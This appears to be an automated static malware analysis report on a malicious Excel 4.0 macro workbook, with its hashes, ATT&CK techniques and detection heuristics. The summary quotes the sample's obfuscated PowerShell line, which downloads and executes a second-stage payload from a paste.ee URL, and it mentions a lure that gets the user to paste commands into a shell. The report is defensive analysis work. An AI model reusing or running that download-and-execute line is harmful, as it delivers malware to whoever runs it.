Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d4a8610beafa1110…

MALICIOUS

Office (OLE) / .XLS

79.5 KB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel
MD5: db8a8cad855d887db03e1641dd850c1d SHA-1: 2f3aa2154570bad9789cf2fc7f1955af947a4f54 SHA-256: d4a8610beafa1110c651c363c3996b39ead57dee3c826272d719bd8364c93ee4
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled workbook. It contains an Auto_Open macro that uses the RUN function, a known dangerous API. The macro attempts to download and execute a second-stage payload from the URL 'http://paste.ee/r/t1k52' using a reconstructed string 'IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/t1k52') which is also present in the document body. The heuristic 'SE_CLIPBOARD_COMMAND_LURE' indicates the document also instructs the user to copy/paste content into a shell, further facilitating execution.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
2b085a6db153219a5b0341462dae87f58b73dd570d7193c7ea579c22dad3f835		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2698 bytes

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